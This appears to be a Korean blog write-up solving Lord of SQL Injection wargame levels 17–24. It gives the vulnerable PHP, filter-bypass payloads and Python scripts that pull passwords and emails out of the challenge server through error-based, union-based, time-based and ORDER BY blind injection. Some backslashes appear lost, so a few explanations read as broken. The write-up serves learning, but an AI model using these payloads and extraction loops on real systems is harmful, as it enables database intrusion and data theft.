[Lord of SQL injection] 17~24

17. zombie_assassin

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect();
  $_GET['id'] = strrev(addslashes($_GET['id']));
  $_GET['pw'] = strrev(addslashes($_GET['pw']));
  if(preg_match('/prob|_|.|()/i', $_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_zombie_assassin where id='{$_GET[id]}' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("zombie_assassin"); 
  highlight_file(__FILE__); 
?>

 

문제 코드. 아래는 쿼리.

select id from prob_zombie_assassin where id='' and pw=''

 

이 문제에서 주목할 부분은 strrev 함수이다. 이는 문자열을 뒤집는 함수이다.

그러면 그냥 거꾸로 넣으면 되지 않는가? 라고 생각했다면 오산. 왜냐하면 addslashes 함수를 실행한 후에 strrev를 실행되기 때문이다. addslashes 역시 php의 함수로, ‘, “, , null byte앞에 을 붙여주는 함수이다. 때문에 가 앞에 붙은 뒤에 순서가 바뀌는 것까지 고려해야 한다.

 

해결방법은 이전 문제를 잘 생각해보면 쉽게 떠올릴 수 있다. 이전 문제에서는 를 우리가 입력해주었지만, 이번에는 addslashes 함수가 있으므로 자동으로 가 추가됨을 생각하면 된다.

 

따라서 id에는 “를 입력해준다. 그렇게 되면 addslashes 함수 때문에 ”이 될 것이고, strrev 함수를 거치고 나면 “이 된다. 그리고 id의 끝임을 알려주는 ‘이 붙더라도 때문에 일반 문자로 취급되고, 뒤에 따라오는 and pw= 까지 id 문자열에 포함되게 된다. 그러면 나머지 뒷 부분은 이전 문제와 동일하되 거꾸로 뒤집어서 입력해주면 된다.

따라서 정답은 ?id=”&pw=%23 1=1 ro 이다. id는 “’ and pw=로 인식되고, 1=1이 true이므로 query에 성공한다.

성공!

 

18. nightmare

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()|#|-/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(strlen($_GET[pw])>6) exit("No Hack ~_~"); 
  $query = "select id from prob_nightmare where pw=('{$_GET[pw]}') and id!='admin'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) solve("nightmare"); 
  highlight_file(__FILE__); 
?>

 

문제 코드이다. 쿼리는 아래.

select id from prob_nightmare where pw=('') and id!='admin'

 

먼저 쿼리부터 보자. pw에 입력을 받는데 괄호로 둘러싸여 있다. 그리고 id는 admin이 아니여야 한다.

#도 필터링하고 있어서 주석처리는 안될 것 같다. 그리고 최대 6글자까지 받고 있다.

 

주석처리를 위해서는 —과 #모두 불가능하기에 ;%00을 사용하자. 그리고 pw의 괄호를 닫아주기 위해 ‘)를 앞에 붙여줘야 한다.

여기까지 하면 pw=(’’);%00이 된다. 이제 pw에서 참이 성립하게 해줘야 하는데, sql에서 숫자 없이 문자로만 이루어진 문자열은 0으로 형변환되기에 (’’)=0이 성립한다. 따라서 =0을 사이에 넣어주면 된다.

결국 정리하면 답은 ?pw=’)=0;%00이 된다.

성공!

 

19. xavis

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/regex|like/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_xavis where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("xavis"); 
  highlight_file(__FILE__); 
?>

 

문제 코드이다. 쿼리는 아래.

select id from prob_xavis where id='admin' and pw=''

 

이번엔 id를 admin으로 고정하고 pw에 입력을 받는다. regex, like를 필터링하고 있다.

일일이 쳐보면서 비번의 크기가 12임을 알아냈다.

특별한 필터링이 없었기에 비밀번호는 이전 문제에서 썼던 코드를 그대로 substr을 이용해서 하나씩 알아냈다.

import requests

url='https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

flag=''
for i in range(1, 13):
    for j in range(32,127):
        params={'pw':f'' or id= 'admin' and substr(hex(pw),{i},1)='{chr(j)}' #'}
        
        res=requests.get(url=url,cookies=cookies,params=params)
        print(params)

        if("<br><h2>Hello admin</h2>" in res.text):
            print(f'pw {i}번째: ',chr(j))
            flag+=chr(j)
            break

print('flag is ',flag)

 

아래는 코드 실행 결과이다. 그런데 결과가 정답이 아니었다.

0000이 붙어서 나오는 것도 뭔가 이상하다. 이전 문제처럼 크기 하나하나가 1byte를 나타내는 것이 아니라고 생각해서 비밀번호를 추측하는 길이를 조금 늘려보았다.

길이를 늘렸더니 24글자가 출력되었다.

그대로 입력해봤더니 답이 아니었다.

아무래도 하나하나가 1byte를 나타내지 않고 0000이 있는 것으로 보아 유니코드를 나타내고 있는 것 같다! 0000을 기준으로 8개씩 나눠보면,

0000C6B0, 0000C655, 0000AD73이다. 이를 다시 변환해보았더니,

한글이 맞았다! 답은 ‘우왕굳’이었다. ?pw=우왕굳을 입력하면 된다.

성공!

 

20. dragon

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

 

위는 문제 코드. 아래는 쿼리.

select id from prob_dragon where id='guest'# and pw=''

 

pw에 입력을 하는데 id=’guest’ 뒤에 #이 있어서 자동으로 주석처리 되고 있다. 쿼리 결과를 admin을 얻어내기만 하면 되는데, 주석 처리를 어떻게 우회할 수 있을까?

파이썬과 마찬가지로, sql에서 #으로 주석처리하는 것은 해당 줄에만 해당된다. 즉, 개행된 뒷부분까지는 주석이 영향을 주지 못하고 위의 쿼리와 이어지게 할 수 있다는 것이다!

개행은 n인데 url에 입력하므로 %0a로 넣어주면 된다.

따라서 답은 ?pw=%0a and pw=’’ or id=’admin’ %23을 입력해주면 된다. 개행이 일어나고 pw=’’이 false이고 id=’admin’은 true이기에 쿼리가 성공적으로 값을 얻게 된다!

성공!

 

21. iron_golem

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit(mysqli_error($db));
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_iron_golem where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("iron_golem");
  highlight_file(__FILE__);
?>

 

문제 코드. 아래는 쿼리.

select id from prob_iron_golem where id='admin' and pw=''

 

쿼리는 특별히 다르지 않다. 그저 pw에 입력을 받고 있다. 필터링에 sleep, benchmark가 추가되었다.

그런데 이번에는 hello admin이나 hello guest를 출력해주고 있지 않아서 pw를 알아내는 방법에 수정이 필요해 보인다.

추가로, 문제 코드를 보면 이전에는 없던 조건이 생긴 것을 확인할 수 있다.

if(mysqli_error($db)) exit(mysqli_error($db));

 

해당 부분은 에러가 발생하면 에러를 반환하는 코드이다. 이를 바탕으로 이번 문제는 error based sql injection을 이용해야 한다고 추측할 수 있다.

내가 선택한 error는 ‘out of range’이다. 따라서 길이를 알아내는 코드는 다음과 같이 작성했다.

import requests

url='https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?pw=' or id='admin' and if(length(pw)={i}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
    res=requests.get(url+prm,cookies=cookies)
    if("out of range" in res.text):
        print('length of pw: ',i)
        length=i
        break

 

if 부분에서는 length(pw)={i}가 true라면 0xFFFF~를, 아니라면 1을 반환한다. 따라서 길이를 만족하면 에러가 발생하면서 종료하게 된다.

실행결과는 다음과 같다.

pw가 꽤 길다 ㅎㅎ

비슷한 방법으로 error를 발생하게 하여 substr 함수로 pw를 알아냈다. 코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/iron_golem_beb244fe41dd33998ef7bb4211c56c75.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?pw=' or id='admin' and if(length(pw)={i}, 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
    res=requests.get(url+prm,cookies=cookies)
    if("out of range" in res.text):
        print('length of pw: ',i)
        length=i
        break

flag=''

for i in range(1,length+1):
    for j in range(33,126):
        prm=f"?pw=' or id='admin' and if(substr(pw,{i},1)='{chr(j)}', 0xFFFFFFFFFFFFFF*0xFFFFFFFFFFFFFF, 1) %23"
        
        res=requests.get(url+prm,cookies=cookies)
        print(prm)

        if("out of range" in res.text):
            print(f'pw {i}번째: ',chr(j), 'and flag: ', flag, chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

실행결과는 다음과 같다.

pw를 알아냈다! 답은 ?pw=06B5A6C16E8830475F983CC3A825EE9A이다.

성공!

 

22. dark_eyes

<?php
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|.|()/i', $_GET[pw])) exit("No Hack ~_~");
  if(preg_match('/col|if|case|when|sleep|benchmark/i', $_GET[pw])) exit("HeHe");
  $query = "select id from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(mysqli_error($db)) exit();
  echo "<hr>query : <strong>{$query}</strong><hr><br>";
  
  $_GET[pw] = addslashes($_GET[pw]);
  $query = "select pw from prob_dark_eyes where id='admin' and pw='{$_GET[pw]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("dark_eyes");
  highlight_file(__FILE__);
?>

 

문제 코드. 쿼리는 아래.

select id from prob_dark_eyes where id='admin' and pw=''

 

이전 문제와 비슷하다. 그런데 필터링에 col, if, case, when이 추가되었다!

if가 필터링되기에 이전 문제에서 사용한 방법을 수정해야 한다. 이번에 사용할 것은 union이다.

union은 쿼리에서 합집합을 나타내는 개념이다. 예시를 들어 설명해보자면,

select 1 union select 1
select 1 union select 1=1

 

위의 두 쿼리는 모두 ‘1’만을 반환한다. 먼저 첫 번째 쿼리는 각각이 1을 얻어오는데, 집합에서는 중복을 생각하지 않기에 ‘1’ 하나로 생각하게 된다. 두 번째 쿼리 역시 1=1은 참이므로 1을 반환하여 결국은 ‘1’하나만 반환받는 것이다.

select 1 union select 2
select 1 union select 1=2

 

위의 두 쿼리는 각각 1,2와 1,0을 반환한다. 이는 에러를 발생시킬 수 있기에 error based sql injection이 가능하다.

union을 이용해서 pw의 길이를 알아내는 코드를 작성해보았다.

import requests

url='https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?pw=' or id='admin' and (select 1 union select length(pw)={i}) %23"
    print(prm)

    res=requests.get(url+prm,cookies=cookies)
    if("query" in res.text):
        print('length of pw: ',i)
        length=i
        break

 

코드 실행 결과는 다음과 같다.

pw의 길이는 8이다.

비슷한 방법으로 substr을 이용하여 pw를 하나씩 알아냈다.

import requests

url='https://los.rubiya.kr/chall/dark_eyes_4e0c557b6751028de2e64d4d0020e02c.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

flag=''

for i in range(1,9):
    for j in range(33,126):
        prm=f"?pw=' or id='admin' and (select 1 union select substr(pw,{i},1)='{chr(j)}') %23"
        
        res=requests.get(url+prm,cookies=cookies)
        print(prm)

        if("query" in res.text):
            print(f'pw {i}번째: ',chr(j), 'and flag: ', flag+chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

코드 실행결과는 다음과 같다.

답은 ?pw=5A2F5D3C이다.

성공!

 

23. hell_fire

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|proc|union/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_hell_fire where 1 order by {$_GET[order]}";
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_hell_fire where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("hell_fire");
  highlight_file(__FILE__);
?>

 

문제 코드이다. 쿼리는 아래.

select id,email,score from prob_hell_fire where 1 order by

 

이번엔 쿼리문에서 order by가 등장하고 있다. DB시간에 배우긴 했지만 뭔지 다시 알아보자.

쉽게 생각하면 특정 테이블을 정렬해서 출력하는 것이라고 생각하면 된다.

order에 id를 입력했더니 id를 정렬해서 출력해주었다.

이번 문제에서 필요한 것은 admin의 이메일인데, 이것이 비밀값이므로 이전에 pw를 알아냈던 방법과 같이 알아내면 될 것 같다.

 

필터링은 proc, union이 있다. 전전 문제에서 사용했던 if로 에러를 발생시키면 될 것 같다.

error based로 해볼려 그랬는데, 어떠한 에러를 출력시켜야 할 지 마땅히 생각이 안 나서 찾아보다가 time based SQL injection이라는 기법을 알게 되었다.

간단히 설명하자면, sleep 함수를 이용하여 참과 거짓을 판별하는 것이다. 만약 참 조건에 sleep 함수를 걸면, 원하는 값이 참일 때 sleep 함수 때문에 시간 차가 발생하고, 시간차가 발생했는 지 여부를 바탕으로 우리는 참과 거짓을 판단할 수 있게 되는 것이다.

그렇다면 이메일의 길이를 찾아내는 코드를 먼저 보자.

import requests
import time

url='https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?order=if(id='admin' and length(email)={i}, sleep(2) , 1)"
    print(prm)
    start=time.time()
    res=requests.get(url+prm,cookies=cookies)
    end=time.time()-start

    if end>1:
        print('length of pw: ',i)
        length=i
        break

 

위의 코드를 보면 python의 time 모듈을 사용하여 시간차를 측정하는 부분을 확인할 수 있다.

time 모듈의 time() 함수를 사용하면 현재 Unix timestamp를 반환해주기 때문에 sleep 함수의 실행 여부를 판단할 수 있다. 그리고 쿼리에서는 if를 사용하여 email의 길이를 맞추면 2초간 sleep하도록 설정했다.

실행결과는 다음과 같다.

마지막에 2초동안 가만히 있다가 email의 길이를 출력해주었다. sleep 함수가 실행되었음을 추측할 수 있다.

email을 추측하는 것은 전과 동일하게 substr로 하나씩 알아가면 된다.

코드는 다음과 같다.

import requests
import time

url='https://los.rubiya.kr/chall/hell_fire_309d5f471fbdd4722d221835380bb805.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?order=if(id='admin' and length(email)={i}, sleep(3) , 1)"
    print(prm)
    start=time.time()
    res=requests.get(url+prm,cookies=cookies)
    end=time.time()-start

    if end>3:
        print('length of email: ',i)
        length=i
        break

flag=''

for i in range(1,length+1):
    for j in range(33,126):
        prm=f"?order=if(id='admin' and ascii(substr(email,{i},1))={j}, sleep(2) , 1)"
        start=time.time()
        res=requests.get(url+prm,cookies=cookies)
        end=time.time()-start
        print(prm)

        if end>2:
            print(f'email {i}번째: ',chr(j), 'and flag: ', flag+chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

코드 실행 결과는 다음과 같다.

email을 알아냈다! ?email=admin_secure_email@emai1.com 을 입력해주면 성공!

time based sql injection이라는 새로운 기법을 알 수 있었던 좋은 문제였다.

 

24. evil_wizard

<?php
  include "./config.php";
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|.|proc|union|sleep|benchmark/i', $_GET[order])) exit("No Hack ~_~");
  $query = "select id,email,score from prob_evil_wizard where 1 order by {$_GET[order]}"; // same with hell_fire? really?
  echo "<table border=1><tr><th>id</th><th>email</th><th>score</th>";
  $rows = mysqli_query($db,$query);
  while(($result = mysqli_fetch_array($rows))){
    if($result['id'] == "admin") $result['email'] = "**************";
    echo "<tr><td>{$result[id]}</td><td>{$result[email]}</td><td>{$result[score]}</td></tr>";
  }
  echo "</table><hr>query : <strong>{$query}</strong><hr>";

  $_GET[email] = addslashes($_GET[email]);
  $query = "select email from prob_evil_wizard where id='admin' and email='{$_GET[email]}'";
  $result = @mysqli_fetch_array(mysqli_query($db,$query));
  if(($result['email']) && ($result['email'] === $_GET['email'])) solve("evil_wizard");
  highlight_file(__FILE__);
?>

 

문제코드. 아래는 쿼리.

select id,email,score from prob_evil_wizard where 1 order by

 

이전 문제와 비슷하다. ordery by에 입력을 하고 id, email, score를 받아온다. 그런데 전 문제에서 사용했던 sleep이 필터링돼서 time basd 인젝션은 힘들 것 같다.

 

이번에는 간단하게 if를 사용하되, 추가로 order by의 기능으로 asc와 desc를 사용한다.

order by는 테이블의 값을 정렬해주는 것이라고 저번 문제에서 알아보았다. 여기서 asc, desc 옵션을 추가할 수 있는데, 각각 오름차순과 내림차순을 나타낸다.

위의 두 결과처럼, asc를 적용하면 오름차순으로 정렬되어 admin이 위에 있지만, desc를 적용하면 내림차순으로 정렬되어 rubiya가 위에 있게 된다.

따라서 if문의 조건을 만족하면 1 asc를, 만족하지 못하면 1 desc를 적용시키고 res.text에 50</td></tr><tr><td>rubiya이 존재하는지 확인하면 된다. 그 이유는 다음과 같다.

admin이 위에 있다면 admin의 score인 50 다음에 rubiya가 나오므로 50</td></tr><tr><td>rubiya이 존재할 수밖에 없다.

 

길이를 알아내는 코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?order=if(id='admin' and length(email)={i}, '1 ASC', '1 DESC')"
    print(prm)

    res=requests.get(url+prm,cookies=cookies)
    if("50</td></tr><tr><td>rubiya" in res.text):
        print('length of pw: ',i)
        length=i
        break

 

코드 실행 결과

email을 알아내는 코드는 다음과 같다.

import requests

url='https://los.rubiya.kr/chall/evil_wizard_32e3d35835aa4e039348712fb75169ad.php'
cookies={'PHPSESSID':'ffitss36sai3ges8a5qt0f32g2'}

for i in range(0,100):
    prm=f"?order=if(id='admin' and length(email)={i}, '1 ASC', '1 DESC')"
    print(prm)

    res=requests.get(url+prm,cookies=cookies)
    if("50</td></tr><tr><td>rubiya" in res.text):
        print('length of pw: ',i)
        length=i
        break

flag=''

for i in range(1,length+1):
    for j in range(33,126):
        prm=f"?order=if(id='admin' and ascii(substr(email,{i},1))={j}, '1 ASC', '1 DESC')"
        
        res=requests.get(url+prm,cookies=cookies)
        print(prm)

        if("50</td></tr><tr><td>rubiya" in res.text):
            print(f'email {i}번째: ',chr(j), 'and flag: ', flag+chr(j))
            flag+=chr(j)
            break

print('flag is',flag)

 

코드 실행 결과 이메일을 잘 출력해줬다. ?email=aasup3r_secure_email@emai1.com를 입력해주면 성공!

댓글 달기

이메일 주소는 공개되지 않습니다. 필수 필드는 *로 표시됩니다

위로 스크롤